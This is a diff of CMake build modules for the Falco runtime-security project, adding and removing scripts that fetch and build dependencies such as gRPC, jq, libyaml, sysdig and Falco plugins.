||||
# In case you want to test against another driver version (or branch, or commit) just pass the variable -
|
||||
# ie., `cmake -DDRIVER_VERSION=dev ..`
|
||||
if(NOT DRIVER_VERSION)
|
||||
set(DRIVER_VERSION "2.0.0+driver")
|
||||
set(DRIVER_CHECKSUM "SHA256=e616dfe27f95670a63150339ea2484937c5ce9b7e42d176de86c3f61481ae676")
|
||||
endif()
|
||||
|
||||
# cd /path/to/build && cmake /path/to/source
|
||||
execute_process(COMMAND "${CMAKE_COMMAND}" -DDRIVER_VERSION=${DRIVER_VERSION} -DDRIVER_CHECKSUM=${DRIVER_CHECKSUM}
|
||||
${DRIVER_CMAKE_SOURCE_DIR} WORKING_DIRECTORY ${DRIVER_CMAKE_WORKING_DIR})
|
||||
|
||||
# cmake --build .
|
||||
execute_process(COMMAND "${CMAKE_COMMAND}" --build . WORKING_DIRECTORY "${DRIVER_CMAKE_WORKING_DIR}")
|
||||
set(DRIVER_SOURCE_DIR "${DRIVER_CMAKE_WORKING_DIR}/driver-prefix/src/driver")
|
||||
endif()
|
||||
|
||||
add_definitions(-D_GNU_SOURCE)
|
||||
|
||||
set(DRIVER_NAME "falco")
|
||||
set(DRIVER_PACKAGE_NAME "falco")
|
||||
set(DRIVER_COMPONENT_NAME "falco-driver")
|
||||
|
||||
add_subdirectory(${DRIVER_SOURCE_DIR} ${PROJECT_BINARY_DIR}/driver)
|
||||
@@ -1,28 +0,0 @@
|
||||
#
|
||||
# Copyright (C) 2020 The Falco Authors.
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
|
||||
# the License. You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
|
||||
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
|
||||
# specific language governing permissions and limitations under the License.
|
||||
#
|
||||
cmake_minimum_required(VERSION 3.5.1)
|
||||
|
||||
project(falcosecurity-libs-repo NONE)
|
||||
|
||||
include(ExternalProject)
|
||||
message(STATUS "Libs version: ${FALCOSECURITY_LIBS_VERSION}")
|
||||
|
||||
ExternalProject_Add(
|
||||
falcosecurity-libs
|
||||
URL "https://github.com/falcosecurity/libs/archive/${FALCOSECURITY_LIBS_VERSION}.tar.gz"
|
||||
URL_HASH "${FALCOSECURITY_LIBS_CHECKSUM}"
|
||||
CONFIGURE_COMMAND ""
|
||||
BUILD_COMMAND ""
|
||||
INSTALL_COMMAND ""
|
||||
TEST_COMMAND ""
|
||||
)
|
||||
@@ -1,86 +0,0 @@
|
||||
#
|
||||
# Copyright (C) 2021 The Falco Authors.
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
|
||||
# the License. You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
|
||||
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
|
||||
# specific language governing permissions and limitations under the License.
|
||||
#
|
||||
|
||||
set(FALCOSECURITY_LIBS_CMAKE_SOURCE_DIR "${CMAKE_CURRENT_SOURCE_DIR}/cmake/modules/falcosecurity-libs-repo")
|
||||
set(FALCOSECURITY_LIBS_CMAKE_WORKING_DIR "${CMAKE_BINARY_DIR}/falcosecurity-libs-repo")
|
||||
|
||||
file(MAKE_DIRECTORY ${FALCOSECURITY_LIBS_CMAKE_WORKING_DIR})
|
||||
|
||||
# explicitly disable the bundled driver, since we pull it separately
|
||||
set(USE_BUNDLED_DRIVER OFF CACHE BOOL "")
|
||||
|
||||
if(FALCOSECURITY_LIBS_SOURCE_DIR)
|
||||
set(FALCOSECURITY_LIBS_VERSION "0.0.0-local")
|
||||
message(STATUS "Using local version of falcosecurity/libs: '${FALCOSECURITY_LIBS_SOURCE_DIR}'")
|
||||
else()
|
||||
# FALCOSECURITY_LIBS_VERSION accepts a git reference (branch name, commit hash, or tag) to the falcosecurity/libs repository.
|
||||
# In case you want to test against another falcosecurity/libs version (or branch, or commit) just pass the variable -
|
||||
# ie., `cmake -DFALCOSECURITY_LIBS_VERSION=dev ..`
|
||||
if(NOT FALCOSECURITY_LIBS_VERSION)
|
||||
set(FALCOSECURITY_LIBS_VERSION "0.7.0")
|
||||
set(FALCOSECURITY_LIBS_CHECKSUM "SHA256=3adc1620c0e830554a54cdd486158dc2c0c40552e113785b70fbbc99edb7d96f")
|
||||
endif()
|
||||
|
||||
# cd /path/to/build && cmake /path/to/source
|
||||
execute_process(COMMAND "${CMAKE_COMMAND}" -DFALCOSECURITY_LIBS_VERSION=${FALCOSECURITY_LIBS_VERSION} -DFALCOSECURITY_LIBS_CHECKSUM=${FALCOSECURITY_LIBS_CHECKSUM}
|
||||
${FALCOSECURITY_LIBS_CMAKE_SOURCE_DIR} WORKING_DIRECTORY ${FALCOSECURITY_LIBS_CMAKE_WORKING_DIR})
|
||||
|
||||
# cmake --build .
|
||||
execute_process(COMMAND "${CMAKE_COMMAND}" --build . WORKING_DIRECTORY "${FALCOSECURITY_LIBS_CMAKE_WORKING_DIR}")
|
||||
set(FALCOSECURITY_LIBS_SOURCE_DIR "${FALCOSECURITY_LIBS_CMAKE_WORKING_DIR}/falcosecurity-libs-prefix/src/falcosecurity-libs")
|
||||
endif()
|
||||
|
||||
set(LIBS_PACKAGE_NAME "falcosecurity")
|
||||
|
||||
add_definitions(-D_GNU_SOURCE)
|
||||
add_definitions(-DHAS_CAPTURE)
|
||||
|
||||
if(MUSL_OPTIMIZED_BUILD)
|
||||
add_definitions(-DMUSL_OPTIMIZED)
|
||||
endif()
|
||||
|
||||
set(SCAP_BPF_PROBE_ENV_VAR_NAME "FALCO_BPF_PROBE")
|
||||
set(SCAP_HOST_ROOT_ENV_VAR_NAME "HOST_ROOT")
|
||||
|
||||
if(NOT LIBSCAP_DIR)
|
||||
set(LIBSCAP_DIR "${FALCOSECURITY_LIBS_SOURCE_DIR}")
|
||||
endif()
|
||||
|
||||
set(LIBSINSP_DIR "${FALCOSECURITY_LIBS_SOURCE_DIR}")
|
||||
|
||||
# configure gVisor support
|
||||
set(BUILD_LIBSCAP_GVISOR ${BUILD_FALCO_GVISOR} CACHE BOOL "")
|
||||
|
||||
# explicitly disable the tests/examples of this dependency
|
||||
set(CREATE_TEST_TARGETS OFF CACHE BOOL "")
|
||||
set(BUILD_LIBSCAP_EXAMPLES OFF CACHE BOOL "")
|
||||
|
||||
set(USE_BUNDLED_TBB ON CACHE BOOL "")
|
||||
set(USE_BUNDLED_B64 ON CACHE BOOL "")
|
||||
set(USE_BUNDLED_JSONCPP ON CACHE BOOL "")
|
||||
|
||||
list(APPEND CMAKE_MODULE_PATH "${FALCOSECURITY_LIBS_SOURCE_DIR}/cmake/modules")
|
||||
|
||||
include(CheckSymbolExists)
|
||||
check_symbol_exists(strlcpy "string.h" HAVE_STRLCPY)
|
||||
|
||||
if(HAVE_STRLCPY)
|
||||
message(STATUS "Existing strlcpy found, will *not* use local definition by setting -DHAVE_STRLCPY.")
|
||||
add_definitions(-DHAVE_STRLCPY)
|
||||
else()
|
||||
message(STATUS "No strlcpy found, will use local definition")
|
||||
endif()
|
||||
|
||||
include(driver)
|
||||
include(libscap)
|
||||
include(libsinsp)
|
||||
122
cmake/modules/gRPC.cmake
Normal file
122
cmake/modules/gRPC.cmake
Normal file
@@ -0,0 +1,122 @@
|
||||
#
|
||||
# Copyright (C) 2019 The Falco Authors.
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
|
||||
# the License. You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
|
||||
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
|
||||
# specific language governing permissions and limitations under the License.
|
||||
#
|
||||
|
||||
if(NOT USE_BUNDLED_DEPS)
|
||||
# zlib
|
||||
include(FindZLIB)
|
||||
set(ZLIB_INCLUDE "${ZLIB_INCLUDE_DIRS}")
|
||||
set(ZLIB_LIB "${ZLIB_LIBRARIES}")
|
||||
|
||||
if(ZLIB_INCLUDE AND ZLIB_LIB)
|
||||
message(STATUS "Found zlib: include: ${ZLIB_INCLUDE}, lib: ${ZLIB_LIB}")
|
||||
endif()
|
||||
|
||||
# c-ares
|
||||
find_path(CARES_INCLUDE NAMES ares.h)
|
||||
find_library(CARES_LIB NAMES libcares.so)
|
||||
if(CARES_INCLUDE AND CARES_LIB)
|
||||
message(STATUS "Found c-ares: include: ${CARES_INCLUDE}, lib: ${CARES_LIB}")
|
||||
else()
|
||||
message(FATAL_ERROR "Couldn't find system c-ares")
|
||||
endif()
|
||||
|
||||
# protobuf
|
||||
find_program(PROTOC NAMES protoc)
|
||||
find_path(PROTOBUF_INCLUDE NAMES google/protobuf/message.h)
|
||||
find_library(PROTOBUF_LIB NAMES libprotobuf.so)
|
||||
if(PROTOC
|
||||
AND PROTOBUF_INCLUDE
|
||||
AND PROTOBUF_LIB)
|
||||
message(STATUS "Found protobuf: compiler: ${PROTOC}, include: ${PROTOBUF_INCLUDE}, lib: ${PROTOBUF_LIB}")
|
||||
else()
|
||||
message(FATAL_ERROR "Couldn't find system protobuf")
|
||||
endif()
|
||||
|
||||
# gRPC todo(fntlnz, leodido): check that gRPC version is greater or equal than 1.8.0
|
||||
find_path(GRPCXX_INCLUDE NAMES grpc++/grpc++.h)
|
||||
if(GRPCXX_INCLUDE)
|
||||
set(GRPC_INCLUDE ${GRPCXX_INCLUDE})
|
||||
else()
|
||||
find_path(GRPCPP_INCLUDE NAMES grpcpp/grpcpp.h)
|
||||
set(GRPC_INCLUDE ${GRPCPP_INCLUDE})
|
||||
add_definitions(-DGRPC_INCLUDE_IS_GRPCPP=1)
|
||||
endif()
|
||||
find_library(GRPC_LIB NAMES grpc)
|
||||
find_library(GRPCPP_LIB NAMES grpc++)
|
||||
if(GRPC_INCLUDE
|
||||
AND GRPC_LIB
|
||||
AND GRPCPP_LIB)
|
||||
message(STATUS "Found grpc: include: ${GRPC_INCLUDE}, C lib: ${GRPC_LIB}, C++ lib: ${GRPCPP_LIB}")
|
||||
else()
|
||||
message(FATAL_ERROR "Couldn't find system grpc")
|
||||
endif()
|
||||
find_program(GRPC_CPP_PLUGIN grpc_cpp_plugin)
|
||||
if(NOT GRPC_CPP_PLUGIN)
|
||||
message(FATAL_ERROR "System grpc_cpp_plugin not found")
|
||||
endif()
|
||||
|
||||
else()
|
||||
find_package(PkgConfig)
|
||||
if(NOT PKG_CONFIG_FOUND)
|
||||
message(FATAL_ERROR "pkg-config binary not found")
|
||||
endif()
|
||||
message(STATUS "Found pkg-config executable: ${PKG_CONFIG_EXECUTABLE}")
|
||||
set(GRPC_SRC "${PROJECT_BINARY_DIR}/grpc-prefix/src/grpc")
|
||||
set(GRPC_INCLUDE "${GRPC_SRC}/include")
|
||||
set(GRPC_LIBS_ABSOLUTE "${GRPC_SRC}/libs/opt")
|
||||
set(GRPC_LIB "${GRPC_LIBS_ABSOLUTE}/libgrpc.a")
|
||||
set(GRPCPP_LIB "${GRPC_LIBS_ABSOLUTE}/libgrpc++.a")
|
||||
set(GRPC_CPP_PLUGIN "${GRPC_SRC}/bins/opt/grpc_cpp_plugin")
|
||||
|
||||
# we tell gRPC to compile protobuf for us because when a gRPC package is not available, like on CentOS, it's very
|
||||
# likely that protobuf will be very outdated
|
||||
set(PROTOBUF_INCLUDE "${GRPC_SRC}/third_party/protobuf/src")
|
||||
set(PROTOC "${PROTOBUF_INCLUDE}/protoc")
|
||||
set(PROTOBUF_LIB "${GRPC_LIBS_ABSOLUTE}/protobuf/libprotobuf.a")
|
||||
# we tell gRPC to compile zlib for us because when a gRPC package is not available, like on CentOS, it's very likely
|
||||
# that zlib will be very outdated
|
||||
set(ZLIB_INCLUDE "${GRPC_SRC}/third_party/zlib")
|
||||
set(ZLIB_LIB "${GRPC_LIBS_ABSOLUTE}/libz.a")
|
||||
|
||||
message(STATUS "Using bundled gRPC in '${GRPC_SRC}'")
|
||||
message(
|
||||
STATUS
|
||||
"Bundled gRPC comes with protobuf: compiler: ${PROTOC}, include: ${PROTOBUF_INCLUDE}, lib: ${PROTOBUF_LIB}")
|
||||
message(STATUS "Bundled gRPC comes with zlib: include: ${ZLIB_INCLUDE}, lib: ${ZLIB_LIB}}")
|
||||
message(STATUS "Bundled gRPC comes with gRPC C++ plugin: include: ${GRPC_CPP_PLUGIN}")
|
||||
|
||||
get_filename_component(PROTOC_DIR ${PROTOC} PATH)
|
||||
|
||||
ExternalProject_Add(
|
||||
grpc
|
||||
DEPENDS openssl
|
||||
GIT_REPOSITORY https://github.com/grpc/grpc.git
|
||||
GIT_TAG v1.25.0
|
||||
GIT_SUBMODULES "third_party/protobuf third_party/zlib third_party/cares/cares"
|
||||
BUILD_IN_SOURCE 1
|
||||
BUILD_BYPRODUCTS ${GRPC_LIB} ${GRPCPP_LIB}
|
||||
INSTALL_COMMAND ""
|
||||
CONFIGURE_COMMAND ""
|
||||
BUILD_COMMAND
|
||||
CFLAGS=-Wno-implicit-fallthrough
|
||||
HAS_SYSTEM_ZLIB=false
|
||||
HAS_SYSTEM_PROTOBUF=false
|
||||
HAS_SYSTEM_CARES=false
|
||||
PKG_CONFIG_PATH=${OPENSSL_BUNDLE_DIR}
|
||||
PKG_CONFIG=${PKG_CONFIG_EXECUTABLE}
|
||||
PATH=${PROTOC_DIR}:$ENV{PATH}
|
||||
make
|
||||
static_cxx
|
||||
static_c
|
||||
grpc_cpp_plugin)
|
||||
endif()
|
||||
35
cmake/modules/jq.cmake
Normal file
35
cmake/modules/jq.cmake
Normal file
@@ -0,0 +1,35 @@
|
||||
#
|
||||
# Copyright (C) 2019 The Falco Authors.
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
|
||||
# the License. You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
|
||||
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
|
||||
# specific language governing permissions and limitations under the License.
|
||||
#
|
||||
if(NOT USE_BUNDLED_DEPS)
|
||||
find_path(JQ_INCLUDE jq.h PATH_SUFFIXES jq)
|
||||
find_library(JQ_LIB NAMES jq)
|
||||
if(JQ_INCLUDE AND JQ_LIB)
|
||||
message(STATUS "Found jq: include: ${JQ_INCLUDE}, lib: ${JQ_LIB}")
|
||||
else()
|
||||
message(FATAL_ERROR "Couldn't find system jq")
|
||||
endif()
|
||||
else()
|
||||
set(JQ_SRC "${PROJECT_BINARY_DIR}/jq-prefix/src/jq")
|
||||
message(STATUS "Using bundled jq in '${JQ_SRC}'")
|
||||
set(JQ_INCLUDE "${JQ_SRC}")
|
||||
set(JQ_LIB "${JQ_SRC}/.libs/libjq.a")
|
||||
ExternalProject_Add(
|
||||
jq
|
||||
URL "https://github.com/stedolan/jq/releases/download/jq-1.5/jq-1.5.tar.gz"
|
||||
URL_MD5 "0933532b086bd8b6a41c1b162b1731f9"
|
||||
CONFIGURE_COMMAND ./configure --disable-maintainer-mode --enable-all-static --disable-dependency-tracking
|
||||
BUILD_COMMAND ${CMD_MAKE} LDFLAGS=-all-static
|
||||
BUILD_IN_SOURCE 1
|
||||
PATCH_COMMAND curl -L https://github.com/stedolan/jq/commit/8eb1367ca44e772963e704a700ef72ae2e12babd.patch | patch
|
||||
INSTALL_COMMAND "")
|
||||
endif()
|
||||
@@ -1,27 +0,0 @@
|
||||
#
|
||||
# Copyright (C) 2020 The Falco Authors.
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
|
||||
# the License. You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
|
||||
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
|
||||
# specific language governing permissions and limitations under the License.
|
||||
#
|
||||
|
||||
set(LIBYAML_SRC "${PROJECT_BINARY_DIR}/libyaml-prefix/src/libyaml")
|
||||
set(LIBYAML_INSTALL_DIR "${LIBYAML_SRC}/target")
|
||||
message(STATUS "Using bundled libyaml in '${LIBYAML_SRC}'")
|
||||
set(LIBYAML_LIB "${LIBYAML_SRC}/src/.libs/libyaml.a")
|
||||
externalproject_add(
|
||||
libyaml
|
||||
URL "https://github.com/yaml/libyaml/releases/download/0.2.5/yaml-0.2.5.tar.gz"
|
||||
URL_HASH "SHA256=c642ae9b75fee120b2d96c712538bd2cf283228d2337df2cf2988e3c02678ef4"
|
||||
CONFIGURE_COMMAND ./configure --prefix=${LIBYAML_INSTALL_DIR} CFLAGS=-fPIC CPPFLAGS=-fPIC --enable-static=true --enable-shared=false
|
||||
BUILD_COMMAND ${CMD_MAKE}
|
||||
BUILD_IN_SOURCE 1
|
||||
BUILD_BYPRODUCTS ${LIBYAML_LIB}
|
||||
INSTALL_COMMAND ${CMD_MAKE} install
|
||||
)
|
||||
@@ -1,91 +0,0 @@
|
||||
#
|
||||
# Copyright (C) 2021 The Falco Authors.
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
|
||||
# the License. You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
|
||||
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
|
||||
# specific language governing permissions and limitations under the License.
|
||||
#
|
||||
|
||||
include(ExternalProject)
|
||||
|
||||
string(TOLOWER ${CMAKE_HOST_SYSTEM_NAME} PLUGINS_SYSTEM_NAME)
|
||||
|
||||
if(NOT DEFINED PLUGINS_COMPONENT_NAME)
|
||||
set(PLUGINS_COMPONENT_NAME "${CMAKE_PROJECT_NAME}-plugins")
|
||||
endif()
|
||||
|
||||
set(PLUGIN_K8S_AUDIT_VERSION "0.3.0")
|
||||
if(${CMAKE_HOST_SYSTEM_PROCESSOR} STREQUAL "x86_64")
|
||||
set(PLUGIN_K8S_AUDIT_HASH "214915fc2a61d147d64aaf4cb29c3fc6a513eda621dad1dfe77f2fd7099b31e1")
|
||||
else() # aarch64
|
||||
set(PLUGIN_K8S_AUDIT_HASH "d9b4610714df581043db76ecb4caf3a41aae5494cf61ab8740a3749bfac8457e")
|
||||
endif()
|
||||
|
||||
ExternalProject_Add(
|
||||
k8saudit-plugin
|
||||
URL "https://download.falco.org/plugins/stable/k8saudit-${PLUGIN_K8S_AUDIT_VERSION}-${PLUGINS_SYSTEM_NAME}-${CMAKE_HOST_SYSTEM_PROCESSOR}.tar.gz"
|
||||
URL_HASH "SHA256=${PLUGIN_K8S_AUDIT_HASH}"
|
||||
CONFIGURE_COMMAND ""
|
||||
BUILD_COMMAND ""
|
||||
INSTALL_COMMAND "")
|
||||
|
||||
install(FILES "${PROJECT_BINARY_DIR}/k8saudit-plugin-prefix/src/k8saudit-plugin/libk8saudit.so" DESTINATION "${FALCO_PLUGINS_DIR}" COMPONENT "${PLUGINS_COMPONENT_NAME}")
|
||||
|
||||
ExternalProject_Add(
|
||||
k8saudit-rules
|
||||
URL "https://download.falco.org/plugins/stable/k8saudit-rules-${PLUGIN_K8S_AUDIT_VERSION}.tar.gz"
|
||||
URL_HASH "SHA256=3913a8c6095794c7de6a97a2a64953a0fa4f87caab014d11b2c8f9221eb77591"
|
||||
CONFIGURE_COMMAND ""
|
||||
BUILD_COMMAND ""
|
||||
INSTALL_COMMAND "")
|
||||
|
||||
install(FILES "${PROJECT_BINARY_DIR}/k8saudit-rules-prefix/src/k8saudit-rules/k8s_audit_rules.yaml" DESTINATION "${FALCO_ETC_DIR}" COMPONENT "${PLUGINS_COMPONENT_NAME}")
|
||||
|
||||
set(PLUGIN_CLOUDTRAIL_VERSION "0.5.0")
|
||||
if(${CMAKE_HOST_SYSTEM_PROCESSOR} STREQUAL "x86_64")
|
||||
set(PLUGIN_CLOUDTRAIL_HASH "ca6c0d087b37090145ef0c92f10d1dd32bb2a08c7bae83cc6fb7a1ba712f3182")
|
||||
else() # aarch64
|
||||
set(PLUGIN_CLOUDTRAIL_HASH "f6e12d3bd16ae0f504ed2bb56d13531d15b7d55beb1b63932cbe603cff941372")
|
||||
endif()
|
||||
|
||||
ExternalProject_Add(
|
||||
cloudtrail-plugin
|
||||
URL "https://download.falco.org/plugins/stable/cloudtrail-${PLUGIN_CLOUDTRAIL_VERSION}-${PLUGINS_SYSTEM_NAME}-${CMAKE_HOST_SYSTEM_PROCESSOR}.tar.gz"
|
||||
URL_HASH "SHA256=${PLUGIN_CLOUDTRAIL_HASH}"
|
||||
CONFIGURE_COMMAND ""
|
||||
BUILD_COMMAND ""
|
||||
INSTALL_COMMAND "")
|
||||
|
||||
install(FILES "${PROJECT_BINARY_DIR}/cloudtrail-plugin-prefix/src/cloudtrail-plugin/libcloudtrail.so" DESTINATION "${FALCO_PLUGINS_DIR}" COMPONENT "${PLUGINS_COMPONENT_NAME}")
|
||||
|
||||
ExternalProject_Add(
|
||||
cloudtrail-rules
|
||||
URL "https://download.falco.org/plugins/stable/cloudtrail-rules-${PLUGIN_CLOUDTRAIL_VERSION}.tar.gz"
|
||||
URL_HASH "SHA256=7f88fb6b530f8ee739b65d38a36c69cdc70398576299b90118bd7324dbdb5f46"
|
||||
CONFIGURE_COMMAND ""
|
||||
BUILD_COMMAND ""
|
||||
INSTALL_COMMAND "")
|
||||
|
||||
install(FILES "${PROJECT_BINARY_DIR}/cloudtrail-rules-prefix/src/cloudtrail-rules/aws_cloudtrail_rules.yaml" DESTINATION "${FALCO_ETC_DIR}" COMPONENT "${PLUGINS_COMPONENT_NAME}")
|
||||
|
||||
set(PLUGIN_JSON_VERSION "0.5.0")
|
||||
if(${CMAKE_HOST_SYSTEM_PROCESSOR} STREQUAL "x86_64")
|
||||
set(PLUGIN_JSON_HASH "b422c4f08bb54ccd384a87c5922e120d5731028c87742ef657cacf936447c202")
|
||||
else() # aarch64
|
||||
set(PLUGIN_JSON_HASH "8358f04325d8a9e9675f38fae8d13a250fb132dcf6741fd0f9830e8c39f48aed")
|
||||
endif()
|
||||
|
||||
ExternalProject_Add(
|
||||
json-plugin
|
||||
URL "https://download.falco.org/plugins/stable/json-${PLUGIN_JSON_VERSION}-${PLUGINS_SYSTEM_NAME}-${CMAKE_HOST_SYSTEM_PROCESSOR}.tar.gz"
|
||||
URL_HASH "SHA256=${PLUGIN_JSON_HASH}"
|
||||
CONFIGURE_COMMAND ""
|
||||
BUILD_COMMAND ""
|
||||
INSTALL_COMMAND "")
|
||||
|
||||
install(FILES "${PROJECT_BINARY_DIR}/json-plugin-prefix/src/json-plugin/libjson.so" DESTINATION "${FALCO_PLUGINS_DIR}" COMPONENT "${PLUGINS_COMPONENT_NAME}")
|
||||
@@ -1,43 +0,0 @@
|
||||
# create the reports folder
|
||||
file(MAKE_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/static-analysis-reports)
|
||||
file(MAKE_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/static-analysis-reports/cppcheck)
|
||||
|
||||
# cppcheck
|
||||
mark_as_advanced(CPPCHECK CPPCHECK_HTMLREPORT)
|
||||
find_program(CPPCHECK cppcheck)
|
||||
find_program(CPPCHECK_HTMLREPORT cppcheck-htmlreport)
|
||||
|
||||
if(NOT CPPCHECK)
|
||||
message(STATUS "cppcheck command not found, static code analysis using cppcheck will not be available.")
|
||||
else()
|
||||
message(STATUS "cppcheck found at: ${CPPCHECK}")
|
||||
# we are aware that cppcheck can be run
|
||||
# along with the software compilation in a single step
|
||||
# using the CMAKE_CXX_CPPCHECK variables.
|
||||
# However, for practical needs we want to keep the
|
||||
# two things separated and have a specific target for it.
|
||||
# Our cppcheck target reads the compilation database produced by CMake
|
||||
set(CMAKE_EXPORT_COMPILE_COMMANDS On)
|
||||
add_custom_target(
|
||||
cppcheck
|
||||
COMMAND ${CPPCHECK}
|
||||
"--enable=all"
|
||||
"--force"
|
||||
"--inconclusive"
|
||||
"--inline-suppr" # allows to specify suppressions directly in source code
|
||||
"--project=${CMAKE_CURRENT_BINARY_DIR}/compile_commands.json" # use the compilation database as source
|
||||
"--quiet"
|
||||
"--xml" # we want to generate a report
|
||||
"--output-file=${CMAKE_CURRENT_BINARY_DIR}/static-analysis-reports/cppcheck/cppcheck.xml" # generate the report under the reports folder in the build folder
|
||||
"-i${CMAKE_CURRENT_BINARY_DIR}"# exclude the build folder
|
||||
)
|
||||
endif() # CPPCHECK
|
||||
|
||||
if(NOT CPPCHECK_HTMLREPORT)
|
||||
message(STATUS "cppcheck-htmlreport command not found, will not be able to produce html reports for cppcheck results")
|
||||
else()
|
||||
message(STATUS "cppcheck-htmlreport found at: ${CPPCHECK_HTMLREPORT}")
|
||||
add_custom_target(
|
||||
cppcheck_htmlreport
|
||||
COMMAND ${CPPCHECK_HTMLREPORT} --title=${CMAKE_PROJECT_NAME} --report-dir=${CMAKE_CURRENT_BINARY_DIR}/static-analysis-reports/cppcheck --file=static-analysis-reports/cppcheck/cppcheck.xml)
|
||||
endif() # CPPCHECK_HTMLREPORT
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (C) 2022 The Falco Authors.
|
||||
# Copyright (C) 2019 The Falco Authors.
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
|
||||
# the License. You may obtain a copy of the License at
|
||||
@@ -12,18 +12,23 @@
|
||||
#
|
||||
cmake_minimum_required(VERSION 3.5.1)
|
||||
|
||||
project(driver-repo NONE)
|
||||
project(sysdig-repo NONE)
|
||||
|
||||
include(ExternalProject)
|
||||
message(STATUS "Driver version: ${DRIVER_VERSION}")
|
||||
|
||||
# The sysdig git reference (branch name, commit hash, or tag)
|
||||
|
||||
# To update sysdig version for the next release, change the default below
|
||||
# In case you want to test against another sysdig version just pass the variable - ie., `cmake -DSYSDIG_VERSION=dev ..`
|
||||
if(NOT SYSDIG_VERSION)
|
||||
set(SYSDIG_VERSION "146a431edf95829ac11bfd9c85ba3ef08789bffe")
|
||||
endif()
|
||||
|
||||
ExternalProject_Add(
|
||||
driver
|
||||
URL "https://github.com/falcosecurity/libs/archive/${DRIVER_VERSION}.tar.gz"
|
||||
URL_HASH "${DRIVER_CHECKSUM}"
|
||||
sysdig
|
||||
URL "https://github.com/draios/sysdig/archive/${SYSDIG_VERSION}.tar.gz"
|
||||
# URL_HASH SHA256=bd09607aa8beb863db07e695863f7dc543e2d39e7153005759d26a340ff66fa5
|
||||
CONFIGURE_COMMAND ""
|
||||
BUILD_COMMAND ""
|
||||
INSTALL_COMMAND ""
|
||||
TEST_COMMAND ""
|
||||
PATCH_COMMAND sh -c "mv ./driver ../driver.tmp && rm -rf ./* && mv ../driver.tmp/* ."
|
||||
)
|
||||
TEST_COMMAND "")
|
||||
57
cmake/modules/sysdig.cmake
Normal file
57
cmake/modules/sysdig.cmake
Normal file
@@ -0,0 +1,57 @@
|
||||
#
|
||||
# Copyright (C) 2019 The Falco Authors.
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
|
||||
# the License. You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
|
||||
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
|
||||
# specific language governing permissions and limitations under the License.
|
||||
#
|
||||
|
||||
set(SYSDIG_CMAKE_SOURCE_DIR "${CMAKE_CURRENT_SOURCE_DIR}/cmake/modules/sysdig-repo")
|
||||
set(SYSDIG_CMAKE_WORKING_DIR "${CMAKE_BINARY_DIR}/sysdig-repo")
|
||||
|
||||
# this needs to be here at the top
|
||||
if(USE_BUNDLED_DEPS)
|
||||
# explicitly force this dependency to use the system OpenSSL
|
||||
set(USE_BUNDLED_OPENSSL ON)
|
||||
endif()
|
||||
|
||||
file(MAKE_DIRECTORY ${SYSDIG_CMAKE_WORKING_DIR})
|
||||
# cd /path/to/build && cmake /path/to/source
|
||||
execute_process(COMMAND "${CMAKE_COMMAND}" ${SYSDIG_CMAKE_SOURCE_DIR} WORKING_DIRECTORY ${SYSDIG_CMAKE_WORKING_DIR})
|
||||
|
||||
# todo(leodido, fntlnz) > use the following one when CMake version will be >= 3.13
|
||||
|
||||
# execute_process(COMMAND "${CMAKE_COMMAND}" -B ${SYSDIG_CMAKE_WORKING_DIR} WORKING_DIRECTORY
|
||||
# "${SYSDIG_CMAKE_SOURCE_DIR}")
|
||||
|
||||
execute_process(COMMAND "${CMAKE_COMMAND}" --build . WORKING_DIRECTORY "${SYSDIG_CMAKE_WORKING_DIR}")
|
||||
set(SYSDIG_SOURCE_DIR "${SYSDIG_CMAKE_WORKING_DIR}/sysdig-prefix/src/sysdig")
|
||||
|
||||
# jsoncpp
|
||||
set(JSONCPP_SRC "${SYSDIG_SOURCE_DIR}/userspace/libsinsp/third-party/jsoncpp")
|
||||
set(JSONCPP_INCLUDE "${JSONCPP_SRC}")
|
||||
